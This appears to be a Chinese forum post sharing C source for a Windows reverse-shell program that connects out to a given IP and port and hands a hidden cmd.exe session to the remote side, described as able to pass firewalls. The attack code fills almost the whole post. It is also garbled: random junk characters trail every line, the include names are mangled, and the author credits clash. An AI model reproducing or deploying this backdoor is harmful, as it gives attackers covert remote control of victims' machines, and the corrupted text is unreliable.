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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 jfk`%C Ek=  
}.x?$C+\"  
/* ==============================  IS!sJc  
Rebound port in Windows NT TwY]c<t  
By wind,2006/7 m+zzhv1  
===============================*/ kA fkQy(~  
#include 4\>Cnc{  
#include sk 9*3d5I  
Mc9%s$MT  
#pragma comment(lib,"wsock32.lib") ;8H m#p7,  
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void OutputShell(); 5Osx__6$t  
SOCKET sClient; :2}zovsdj  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; %+qD-{&  
Pr9$( 6MX  
void main(int argc,char **argv) }!x\qpA  
{ (]1n!  
WSADATA stWsaData; p1q"[)WVn^  
int nRet; fM6Pw6k  
SOCKADDR_IN stSaiClient,stSaiServer; $)mK]57  
`J#(ffo-  
if(argc != 3) voEg[Gg4%I  
{ :>]= YE  
printf("Useage:\n\rRebound DestIP DestPort\n"); /{6PwlP5  
return; WL:CBE#  
} j@ lHgis  
f%;8]a9  
WSAStartup(MAKEWORD(2,2),&stWsaData); l~.ae,|7  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); E9i M-Lw  
R.-2shOE'  
stSaiClient.sin_family = AF_INET; ]yy10Pk[!  
stSaiClient.sin_port = htons(0); u1R_u9  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 9Ra*bP ]1  
@@M 2s(  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) @m[q0G}  
{ O`<id+rx  
printf("Bind Socket Failed!\n"); F jsnFX;  
return; |uf{:U)  
} ',$Uw|N  
(e.?). e  
stSaiServer.sin_family = AF_INET; 78T9"CS  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); p=sL KnLmZ  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); |*W_  
X:PB }  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) z><u YO$  
{ 'RZ=A+%X  
printf("Connect Error!"); 8` ~M$5!  
return; 4LO4SYW7  
} 'Km ~3t  
OutputShell(); 7/C,<$Ep  
} ~QzUQYG*  
A@M%}h  
void OutputShell() DO6Tz -%o  
{ @/jLN  
char szBuff[1024]; YD>5zV%!D  
SECURITY_ATTRIBUTES stSecurityAttributes; =)QtE|p,77  
OSVERSIONINFO stOsversionInfo; tjLp;%6e  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; c$fi3O  
STARTUPINFO stStartupInfo; PY.4J4nn|  
char *szShell; dAg<BK/  
PROCESS_INFORMATION stProcessInformation; !A_<(M<  
unsigned long lBytesRead; 9)2 kjBeb  
9NzK1V0X  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); F3 uR:)4<M  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ,zXP,(x  
stSecurityAttributes.lpSecurityDescriptor = 0; Tx)!qpZ  
stSecurityAttributes.bInheritHandle = TRUE; f[r?J/;P9  
ly_@dsU'  
}enS'Fpf`  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 1=o|[7  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ayGYVYi  
4S9hz  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 0 $Ygt0d  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WxE^S ??|  
stStartupInfo.wShowWindow = SW_HIDE; 3jeB\  
stStartupInfo.hStdInput = hReadPipe; sWtT"7>x  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; J]h$4"  
Wb)>APL  
GetVersionEx(&stOsversionInfo); '>"riEk  
cpY'::5.%  
switch(stOsversionInfo.dwPlatformId) 8VWkUsOoI  
{ xJcM1>cT>  
case 1: <t~RGn3  
szShell = "command.com"; E8gbm&x*  
break;  H8lh.K  
default: lhk=yVG3  
szShell = "cmd.exe"; --D&a;CO}  
break; S`w_q=-^8  
} OCX>LK!K  
k_,wa]ws$  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); \jR('5DcB  
3)ZdT{ MY  
send(sClient,szMsg,77,0); JXhHitUD  
while(1) n "J+? ~9  
{ &gv{LJd5b  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ezz;NH  
if(lBytesRead)  <u=k X  
{ s3Wjg  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 9y$"[d27;+  
send(sClient,szBuff,lBytesRead,0); U=Hx&g  
} FS+v YqwK  
else SWq5=h  
{ 6he (v  
lBytesRead=recv(sClient,szBuff,1024,0); <jjn'*44f  
if(lBytesRead<=0) break; B* hW  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); hQFF%xl  
} 9im<J'  
} @lO(QpdG  
_T^+BUw  
return; f7du1k3  
}
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